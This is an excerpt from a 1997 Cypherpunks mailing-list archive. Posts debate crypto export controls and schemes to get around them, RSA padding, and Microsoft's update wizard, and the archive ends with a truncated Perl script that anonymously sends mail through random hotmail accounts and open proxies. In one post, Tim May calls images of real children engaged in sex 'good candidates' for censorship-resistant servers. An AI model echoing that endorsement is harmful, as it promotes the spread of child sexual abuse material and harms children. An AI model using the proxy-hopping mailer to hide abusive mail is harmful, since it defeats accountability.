We can understand that vest piercing bullets kill policemen and that they
are reasonably outlawed, but if someone built a vest that would stop those
we wouldn't be able to mail them to those fighting for democracy outside
of the USA.

In the case of crypto, crypto is a tool that saves your privacy.  Why are
we not allowed to have the ability to ship the tools needed to help
protect privacy of say the students in China (for example) where any
suspicion of disidence would be instantly punishable by death.

For a country that is intent on making the world safe for democracy,
we are sure doing a very bad job.

Sure, a bullet proof vest can be used to protect a pornographer or a
terrorist, but it will also save the lives of citizens, freedom fighters
and children.  How many parents who live in bad neighborhoods would object
to their kids being able to wear bullet proof vests, could they afford
them, while going to school?

The recent bills thrown around in congress are attempting to do the
equivalent of outlawing bullet proof vests, and only allowing pebble proof
vests to be sold, or bullet proof vests that can be pierced by police.
Would you want your kid to wear a vest that can be pierced by police fire?
Maybe a stray bullet aimed at a drug dealer hitting your kid?   Or maybe a
criminal getting their hands on the same type of ammo and shooting your
kid?  We need our kids to wear Strong Bullet Proof vests!

Next time they yell "But if it saves the life of one child" give them
this.  "But if strong crypto can save the life of one child
freedomfighter, who are we to limit its use?  Support strong crypto and
protect the kids of the world!"

(Preaching to the choire of course, but who knows maybe the crypto=bullet
proof vest arguement will be useful to someone who can talk sense into the
crypto clueless cognresscritters.)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 14 Aug 1997 08:01:20 +0800
To: cypherpunks@cyberpass.net
Subject: Tim to Speak
Message-ID: <19970813234813.14903.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim McVeigh, who has finally realized who his defense lawyer, Stephen
Jones, was really working for, plans to speak for the first time at his
sentencing tomorrow.

I certainly hope CNN carries it live. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 14 Aug 1997 05:16:00 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Encrypting same data with many keys...
In-Reply-To: <3.0.2.32.19970813003535.0068e9b4@popd.ix.netcom.com>
Message-ID: <Pine.SUN.3.96.970813170421.7599R-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 13 Aug 1997, Bill Stewart wrote:

> The actual data is encrypted with IDEA, but the identical IDEA key is 
> encrypted with each recipient's RSA key.  To avoid this attack,
> PGP uses random padding after the IDEA key (which makes the message
> encrypted with RSA different for each recipient, avoiding the trap.
> Since IDEA keys are 128 bits long, and RSA moduli are typically 384-2047,
> there's plenty of room for random noise in the format.)

Would it not be more secure if it picked a different IDEA session key for
each recipient?  Would be slower, but...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 14 Aug 1997 05:24:56 +0800
To: cypherpunks@toad.com
Subject: RE: [NTSEC] Hotfixes  (fwd)
Message-ID: <Pine.SUN.3.96.970813170643.7599S-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



Wheee, check this out... there's thing called a Download Wizard that
"offers suggested updates" for software on your hard drive... Now buys and
girls, can we guess what else it will do? i.e. give to Microsoft a list
of? Hrrmmm?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================

---------- Forwarded message ----------
Date: Wed, 13 Aug 1997 01:00:48 -0400
From: "Donald M. Barnard Jr." <barnardm@tiac.net>
To: "ntsecurity@iss.net" <ntsecurity@iss.net>
Subject: RE: [NTSEC] Hotfixes 

Meanwhile MS gets a nice database of installed software?<G>

Don

-----Original Message-----
From:	Paul Leach [SMTP:paulle@microsoft.com]
Sent:	Tuesday, August 12, 1997 12:56 PM
To:	'Russ'
Cc:	ntsecurity@iss.net
Subject:	RE: [NTSEC] Hotfixes 

As it says on the page you refer to:

The Download Wizard will now check your computer for exisiting Microsoft
software files and make suggestions for file updates that may be
appropriate for your computer's configuration. The Download Wizard will
NOT automatically change, add, or delete any files on your computer. You
will be given the choice to download and install each of these files
yourself. Important: Before downloading any files, be sure to check with
your system administrator. 

I.e., we make it easy to find out if there are updates that _may_ apply
to you (and screen out lots that for sure _don't_) -- you still have to
decide if you want them.

The backend for this is pretty heavyweight and labor intensive -- it's
not ready to be a product.

ZAW is the product that is supposed to support automation of admin of
workstation and servers in a corporate environment.

> ----------
> From: 	Russ[SMTP:Russ.Cooper@rc.on.ca]
> Sent: 	Tuesday, August 12, 1997 4:15 AM
> To: 	Paul Leach
> Cc: 	ntsecurity@iss.net
> Subject: 	RE: [NTSEC] Hotfixes 
> 
> Paul,
> 
> Can you then comment on the Download Wizard available from
> http://www.microsoft.com/kb/softlib/default.asp which supposedly
> detects
> which files/patches etc... you need and automates the installation of
> these? I haven't tried it with a machine that was "Ok" in its eyes, so
> I
> haven't seen what it actually does, but the concept is quite cool for
> Intranet server management. Would seem to be parts of SMS for
> Intranets,
> which despite having risks that would have to be managed, could
> seriously improve the remote configuration management of machines.
> 
> Can you get someone to comment for us as to precisely what it does and
> how it does it? Is the underlying dB available with some instructions
> on
> how we might modify it for our own use?
> 
> I'm asking on behalf of the list because I think this would seem to be
> the answer to this thread's questions.
> 
> Cheers,
> Russ
> R.C. Consulting, Inc. - NT/Internet Security
> owner of the NTBugTraq mailing list: http://www.ntbugtraq.com
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 14 Aug 1997 05:19:27 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Fuck the usenet cabal
In-Reply-To: <87scBe10w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.96.970813170850.7599T-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 12 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> (An autoresponder is an address@cyberpromo.com to which you can send an
> e-mail and get back a pre-recorded response, if your site accepts e-mail
> from cyberpromo.  Supposedly anyone can set one of them up for free
> and provide their own automatic response. Stanford is running a promotion.)
> 
> Now, suppose some non-US person sets up an auto-responder that sends out
> strong crypto software, and another non-US person requests it and gets it.
> 
> Is anyone going to be guilty of ITAR violations?

Nice idea Doc, but anyone who goes there you can bet will have their email
address added to spamfords databases, and they'll also get loads of spam
in addition to the crypto you wish to export.  :)  Let's not make deals
with the devil.  (Still if the guy on the other side is smart enough to
get a temporary demo account, you're on to a good idea.)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 14 Aug 1997 08:44:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Guy Polis
In-Reply-To: <4FoBBe4w165w@bwalk.dm.com>
Message-ID: <19970813172824.51378@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Aug 13, 1997 at 04:43:08PM +0000, Paul Bradley wrote:
> 
> > > drunken rants are one thing, and are easily deleted, but impersonating me
> > > is straight out of Detweiler's book. Must be something about Cypherpunks
> > > that brings out this urge to impersonate.
> > 
> > Toto's drunked rants and the most valuable traffic on this mailing list
> > these days - I read them and usually save them.  Tim May's censorship
> > rants make him sonnd like kent Krispin.
> 
> I agree, Toto makes some of the best posts to the list,

Toto, in my opinion, is by far the most talented writer on this list. 
Furthermore, unlike many, he is not hobgoblined by consistency -- he
is deep enough and courageous enough to give his own internal
contradictions free expression, and is open to a far wider range of 
opinions than most people.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Thu, 14 Aug 1997 05:36:30 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Encrypting same data with many keys...
In-Reply-To: <Pine.SUN.3.96.970813145505.7599M-100000@beast.brainlink.com>
Message-ID: <97Aug13.172635edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 13 Aug 1997, Ray Arachelian wrote:

> On Wed, 13 Aug 1997 nospam-seesignature@ceddec.com wrote:
> 
> In terms of padding does it matter WHERE I put the padding info?  Is it
> better to put random stuff in the front or at the end?  The reason I ask,
> say that you're going to encrypt an N byte block where N is bigger than
> your block cypher's key size?
> 
> If my intution is correct, and you have the same data encrypted with many
> keys (even RSA) but have the padding at the end, the 1st block would still
> be breakable.  I suppose putting the data at the end would also result in
> the same kind of problem, though it might be a bit harder to attack than
> putting the data 1st...
> 
> Would it not make sense to scatter the random padding throughout the
> block?   How is this normally done?  Front?  Back?  Middle?  Scattered?

The location does not matter.  The standard RSA libs place the padding at
the front - it is one of those PKCS specifications.

You would simply need to break the conventional key down to a few bytes
smaller than the modulus size, so each would be padded with a few random
bytes.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sar <sar@cynicism.com>
Date: Thu, 14 Aug 1997 08:38:20 +0800
To: Ray Arachelian <cypherpunks@toad.com
Subject: Re: Memme: Crypto=Bullet Proof Vests
In-Reply-To: <Pine.SUN.3.96.970813162912.7599P-100000@beast.brainlink.com>
Message-ID: <3.0.2.32.19970813173036.008baeb0@box.cynicism.com>
MIME-Version: 1.0
Content-Type: text/plain



Next time they yell "But if it saves the life of one child" give them
>this.  "But if strong crypto can save the life of one child
>freedomfighter, who are we to limit its use?  Support strong crypto and
>protect the kids of the world!"
>
>(Preaching to the choire of course, but who knows maybe the crypto=bullet
>proof vest arguement will be useful to someone who can talk sense into the
>crypto clueless cognresscritters.)


encryption protects my children from child molesters. my children
communicate via a secure tunnel so it is impossible for pedophiles to hear
what they are saying or talk to them. they also use digital signatures to
distinguish trusted adults so they will never buy the " your mommy sent me
to pick you up" lines. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 14 Aug 1997 08:14:46 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Fuck the usenet cabal
In-Reply-To: <Pine.SUN.3.96.970813161558.7599O-100000@beast.brainlink.com>
Message-ID: <199708132314.SAA03707@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970813161558.7599O-100000@beast.brainlink.com>, on
08/13/97 
   at 04:20 PM, Ray Arachelian <sunder@brainlink.com> said:

>On Wed, 13 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

>> What if a non-US person paid them $40 to spam people outside the U.S.
>> with strong crypto?
>> 
>> Is it possible to stuff a blatant ITAR violation into about 100 lines of ascii?

>Already been done.  RSA in 4 lines of Perl, etc...  Heck there was even a
>site out that that cut a UUENCODED copy of PGP into many bits and asked
>people to grab one of the bits to use as their signature.  I.e. Part 50
>out of N of PGP, etc...  Someone with huge usenet archives (or cd's)
>could search for all of these outside of the USA and put them together
>into the whole. :)  No need to pay someone $40 to spam when people will
>freely do this.

>You could also take a packet radio modem and spam short wave (or whatever
>packet radio uses or can use that can get outside the usa) and send PGP
>that way if you like.  Or take PGP, uuencode it and fax it outside of the
>USA.  Or feed it through a voice synth and read it to a foreign phone
>number that has a voice decoder, or compose it as a MIDI song as Kent
>suggested and broadcast the song...  Or tatoo it on your ass then when
>you visit russia have someone take a picture. :)  (Though you might then
>be arrested in russia for porno or whatever the laws are there,
>heheheheh....)

>Don't even need to use the internet to piss off the feds. :)

Ofcource you can just go to my web site and download PGP. IMNSHO Fuck the
Feds. I for one will not let them violate my First Amendment Rights no
matter how much they say that it is a Good Thing (tm) to do so.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM/Ixk49Co1n+aLhhAQGdcQP9HGrAETjjycsjJHu+TM7UPN0b9cGc+5E5
tcIQp8XOvIwu+EzV/i8ZE7aDDsxe7oZXS0MJwabgFYKYNSdlKU0lk7ept+Td3Yc0
++RuV03X9TE1EgxdevUk6hf84Jnw97FwhAkTraf+Z/Mqv3eaJoBFDoJFhzH6BMwO
7U0hWqqy0a4=
=tT/B
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 14 Aug 1997 10:29:00 +0800
To: cypherpunks@toad.com
Subject: Child Porn and Eternity  (Re: "Leotards and the Law...
In-Reply-To: <Pine.GSO.3.95.970813080755.18129D-100000@well.com>
Message-ID: <v03102803b01817a18ed8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:08 AM -0700 8/13/97, Declan McCullagh wrote:

>        But Conti skirted the more controversial question: What if
>   someone did use Photoshop to synthesize images of half-naked children?

Let me assure you that such images are available. I might be tempted to say
I know exactly where to find them, and may have even taken a look at them
("as part of my campaign to determine the extend of child porn" :-} ), but
in this climate that might get me a couple of SWAT vans roaring up my
hillside...and then I'd have to make some quick decisions about shooting or
going peacably.

Duncan F. can of course opine that the law is powerless, blah blah, but it
doesn't appear that way to me.

Such images (including non-morphed images of real nude children, or even of
children engaging in sex, and so on) are, by the way, good candidates for
Eternity servers. If the Eternity operators freak out and ban such images,
so much for "Eternity." Perhaps they could then be named "Ephemeral"
servers.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 14 Aug 1997 10:42:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Memme: Crypto=Bullet Proof Vests
In-Reply-To: <Pine.SUN.3.96.970813162912.7599P-100000@beast.brainlink.com>
Message-ID: <v03102804b0181d43e1a2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Careful with this argument!

At 1:44 PM -0700 8/13/97, Ray Arachelian wrote:
>I came up with this while on a bio break....
>
>ITAR classifies crypto as munitions, but this is the same thing as telling
>someone who wishes to travel to a warring country that they may not buy a
>bullet proof vest, but they may buy an vest that will stop pebbles being
>thrown at them.  This is equivalently reasoned that such vests could be
>used to rob banks and the theives could get away from the police - but how
>many bank theives have you known that were shot by the cops and not caught
>by other means?

Better be careful with this analogy. In fact, armor of various sorts is
clearly a defense item, and is often on the list of restricted items. For
example, Chobham and reactive tank armor was strictly controlled.

Now we may think crypto should be freely exportable, but comparing it to
armor could backfire.

Personally, I think Cypherpunks should concentrate on making crypto
ubiquitous in the United States, and monkeywrench "by any means available"
any plans to restrict in any way the use of strong crypto within the U.S.

Let the rest of the world get crypto through the leaky sieve that is the U.
S. border, or roll their own, or whatever. As for Netscape and Microsoft
and RSADSI getting export approvals, I'll start worrying about their
interests when they start sending me a monthly paycheck, or put me on
retainer, or given me a few thousands shares as part of a stock option.

How Cypherpunks got effectively hijacked or diverted into fretting about
exports is a mystery to me.



>The recent bills thrown around in congress are attempting to do the
>equivalent of outlawing bullet proof vests, and only allowing pebble proof
>vests to be sold, or bullet proof vests that can be pierced by police.
>Would you want your kid to wear a vest that can be pierced by police fire?
>Maybe a stray bullet aimed at a drug dealer hitting your kid?   Or maybe a
>criminal getting their hands on the same type of ammo and shooting your
>kid?  We need our kids to wear Strong Bullet Proof vests!

By the way, there are already laws in place limiting "cop killer bullets,"
and some restrictions are already in place for limiting body armor (the
preferred name for "bullet proof vests").

"For law enforcement use only" is the label used.

So I'd be careful with all of these munitions and armor analogies. The
First Amendment arguments are much stronger and less ambiguous.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 14 Aug 1997 12:09:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Child Porn and Eternity  (Re: "Leotards and the Law...
In-Reply-To: <v03102803b01817a18ed8@[207.167.93.63]>
Message-ID: <19970814040114.10431.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:

> Such images (including non-morphed images of real nude children, or even of
> children engaging in sex, and so on) are, by the way, good candidates for
> Eternity servers. If the Eternity operators freak out and ban such images,
> so much for "Eternity." Perhaps they could then be named "Ephemeral"
> servers.

Hmmm.  Aren't such images all over Usenet already?  I think people manage
to find them without Eternity servers delivering them via a handy "point
and click" interface.

I think Eternity server administrators should take a pledge not to censor
content, and simply take servers down if an unacceptable amount of heat is
applied.  Perhaps we need "Eternity Server In A Box", and of course
"Eternity for Windoze '95/NT." 

For now, with only five operating servers, we need to concentrate on
otherwise homeless free speech, and not spend time replicating the Dregs
of Usenet in a new and interesting format. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Poppler <lwp@mail.msen.com>
Date: Thu, 14 Aug 1997 09:50:56 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Memme: Crypto=Bullet Proof Vests
In-Reply-To: <Pine.SUN.3.96.970813162912.7599P-100000@beast.brainlink.com>
Message-ID: <Pine.BSI.3.92.970813213129.23506B-100000@conch.msen.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 13 Aug 1997, Ray Arachelian wrote:
/.../
> The recent bills thrown around in congress are attempting to do the
> equivalent of outlawing bullet proof vests, and only allowing pebble proof
> vests to be sold, or bullet proof vests that can be pierced by police.
> Would you want your kid to wear a vest that can be pierced by police fire?

Actually, I believe that bullet proof vests are already illegal.
I'm serious, check it out.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Jones <Mkljones@cris.com>
Date: Thu, 14 Aug 1997 10:08:04 +0800
To: cypherpunks@toad.com
Subject: Hypothetical situation for networks
Message-ID: <Pine.SUN.3.96.970813213346.8665A-100000@mariner.cris.com>
MIME-Version: 1.0
Content-Type: text/plain



This is a 100% hypothetical situation, though would be interesting to see
if it is possible.

A company does some R&D work, which it wishes to keep classified from
competitors.

However, they have two main offices on opposite sides of the country.

Not wishing to use sneakernet type file transfer, they wish to pass
confidential material from one network to the other using the Internet.

Now we all know that anyone with a little bit of knowledge can intercept
the packets as they go past and read the information.

Email is out, as they do use a system of file mirroring, keeping each set
of data as a backup as well as for usage.

Would make sense for them to use a type of NFS system, but is there an
implimentation of secure (ie: encrypted) NFS available?

OS doesn't really matter, as it is a hypothetical system, but we'll assume
either some form of unix/linux, or perhaps winNT or novell NetWare.

Thanks in advance for the info and knowledge...sorry if it's been asked
before.

--
Mike Jones -- CNA, CNE, pursueing MCNE and MCSE currently.
email: Mkljones@cris.com  
Finger Mkljones@cris.com for Geek code and PGP key

	"They cannot scare me with their empty spaces
	Between stars--on stars where no human race is
	I have it in me so much nearer home
	To scare myself with my own desert places."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 14 Aug 1997 12:51:27 +0800
To: cypherpunks@toad.com
Subject: Re: Fuck the usenet cabal
In-Reply-To: <Pine.SUN.3.96.970813161558.7599O-100000@beast.brainlink.com>
Message-ID: <wiLeBe21w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian <sunder@brainlink.com> writes:

> On Wed, 13 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > What if a non-US person paid them $40 to spam people outside the U.S.
> > with strong crypto?
> >
> > Is it possible to stuff a blatant ITAR violation into about 100 lines of as
>
> Already been done.  RSA in 4 lines of Perl, etc...  Heck there was even a

I mean a useable package.

> site out that that cut a UUENCODED copy of PGP into many bits and asked
> people to grab one of the bits to use as their signature.  I.e. Part 50
> out of N of PGP, etc...  Someone with huge usenet archives (or cd's) could
> search for all of these outside of the USA and put them together into the

Yes, but how practical is it?

> whole. :)  No need to pay someone $40 to spam when people will freely do
> this.

Stanford Wallace gives out free autoresponders.

> You could also take a packet radio modem and spam short wave (or
> whatever packet radio uses or can use that can get outside the usa) and
> send PGP that way if you like.  Or take PGP, uuencode it and fax it
> outside of the USA.  Or feed it through a voice synth and read it to
> a foreign phone number that has a voice decoder, or compose it as a
> MIDI song as Kent suggested and broadcast the song...  Or tatoo it on your
> ass then when you visit russia have someone take a picture. :)  (Though
> you might then be arrested in russia for porno or whatever the laws are
> there, heheheheh....)

Unsilenced use of crypto.

However the point is to get Cyberpromo to export crypto in violation of
ITAR without annoying people with spam.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 14 Aug 1997 11:02:41 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Memme: Crypto=Bullet Proof Vests (fwd)
Message-ID: <199708140252.VAA27127@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 13 Aug 1997 19:37:09 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Memme: Crypto=Bullet Proof Vests

> By the way, there are already laws in place limiting "cop killer bullets,"
> and some restrictions are already in place for limiting body armor (the
> preferred name for "bullet proof vests").
> 
> "For law enforcement use only" is the label used.

How did the police get special 'rights' that normal citizens don't?
Especialy considering that they are mentioned no place in the Constitution.
And the Constitution specificaly prohibits via the 10th such self-invoked
expansion of powers.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Thu, 14 Aug 1997 06:55:43 +0800
To: cypherpunks@cyberpass.net
Subject: sendhotmail, version 1.3
In-Reply-To: <19970807192254.40.qmail@zipcon.net>
Message-ID: <5stde6$tdc$1@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



And here's 1.3.  It uses the same config file as 1.2.

New:

o fixes a bug involving + in email addresses
o handles continuation headers properly
o Can be used as a drop-in replacement for sendmail (though it may get confused
  if you pass weird sendmail options); it will keep trying random hotmail
  accounts and proxies until it succeeds in delivering the mail.  Note that,
  depending on your connectivity, this can take a while...

   - Ian

#!/usr/bin/perl -w

##
## sendhotmail: pipe an RFC822 mail message into this, and it will send it
##              out from a hotmail account via an HTTP proxy
##
## Version 1.3: 19970813
##
## Program by Ian Goldberg <ian@cypherpunks.ca>
##

sub Usage {
    die "Usage: $0 -t | addr\@host ...\n";
}

## Check options
$cmdlineto = '';
while ($#ARGV >= 0 && $ARGV[0] =~ /^-/o) {
    $_ = shift @ARGV;
    if ($_ eq "-t") {
	$cmdlineto = '';
    } elsif ($_ eq "-f") {
	shift @ARGV;
    } else {
	## Ignore option
    }
}
if ($#ARGV >= 0) {
    $cmdlineto = join(", ", @ARGV);
}

use LWP;

$uadirect = new LWP::UserAgent;

## The filename of the configuration file
$configfile = '/home/iang/sendhotmail/config';

## Read the config file
open(CONFIG, $configfile) or die "Cannot open $configfile: $!\n";
while(<CONFIG>) {
    next if /^\s*$/o;
    next if /^\s*\#/o;
    next unless /^([^:]+):\s*(.*)$/o;
    $value = $2;
    $name = "\L$1\E";
    $name =~ s/[^a-z0-9]//iog;
    $config{$name} = $value;
}
close(CONFIG);

sub escapetext {
    my $t = $_[0];
    $t =~ s/([\000-\037\200-\377\{\}\|\\\^\[\]\`\"\<\>\:\@\/\;\?\=\&\%\.\#\+])/"%".unpack('H2',$1)/eg;
    $t =~ s/ /+/g;
    $t;
}

sub getaddrs {
    my @addrlist = split(/,\s*/, $_[0]);
    my ($a, $ra);
    my @r;

    foreach $a (@addrlist) {
	$ra = '';
	if ($a =~ /\<(.*?)\>/) {
	    $ra = $1;
	} else {
	    $a =~ s/\(.*?\)//g;
	    $a =~ s/\".*?\"//g;
	    $ra = $1 if $a =~ /(\S+\@\S+)/;
	}
	push (@r, $ra) if $ra ne '';
    }
    join(', ', @r);
}

## Parse the incoming mail.  We need to put the To, Cc, and Bcc headers
## into a simple format that hotmail can understand.

$header{'to'} = '';
$header{'subject'} = '';
$header{'cc'} = '';
$header{'bcc'} = '';
$curheader = '';
while(<STDIN>) {
    last if /^$/;
    chomp;
    if (/^\S/) {
	## Start a new header
	if (s/^To:\s*//io) {
	    $curheader = 'to';
	    $header{'to'} .= ', ' if $header{'to'} ne '';
	} elsif (s/^Cc:\s*//io) {
	    $curheader = 'cc';
	    $header{'cc'} .= ', ' if $header{'cc'} ne '';
	} elsif (s/^Bcc:\s*//io) {
	    $curheader = 'bcc';
	    $header{'bcc'} .= ', ' if $header{'bcc'} ne '';
	} elsif (s/^Subject:\s*//io) {
	    $curheader = 'subject';
	} else {
	    $curheader = '';
	}
    }
    if ($curheader ne '') {
	s/^\s*//;
	$header{$curheader} .= ' ' if $header{$curheader} ne '';
	$header{$curheader} .= $_;
    }
}
## If we were given command-line addresses, that overrides the headers
$header{'to'} = &getaddrs($cmdlineto eq '' ? $header{'to'} : $cmdlineto);
$header{'cc'} = &getaddrs($cmdlineto eq '' ? $header{'cc'} : '');
$header{'bcc'} = &getaddrs($cmdlineto eq '' ? $header{'bcc'} : '');

$msg = &escapetext(join('', <STDIN>));

srand(time ^ $$);

## Keep trying until the message is successfully delivered
RETRYLOOP: while (1) {

## Get the proxy list
$proxylisturl = new URI::URL ($config{'proxylisturl'} ||
		'http://www.publius.net/~remailer/proxy_list.txt');
if (defined $config{'proxylistcachefile'}) {
    ## Check if the locally cached copy is new enough
    $maxage = $config{'proxylistcacheage'} || 1;
    if (! -e $config{'proxylistcachefile'} ||
	    -M $config{'proxylistcachefile'} > $maxage) {
	## Fetch a new copy
	$request = new HTTP::Request('GET', $proxylisturl);
	$request->header(Pragma => 'no-cache');
	$response = $uadirect->request($request);
	$body = $response->content;
	$newfname = $config{'proxylistcachefile'}.".new.$$";
	open(CACHE, ">$newfname") or die "Cannot write $newfname: $!\n";
	print CACHE $body;
	close(CACHE);
	rename($newfname, $config{'proxylistcachefile'}) or
	    die "Cannot rename $newfname: $!\n";
    }
    ## Read the proxy list
    open(CACHE, $config{'proxylistcachefile'}) or
	die "Cannot open $config{'proxylistcachefile'}: $!\n";
    @proxylist = grep (s/\n// && /^[^#]/, <CACHE>);
    close(CACHE);
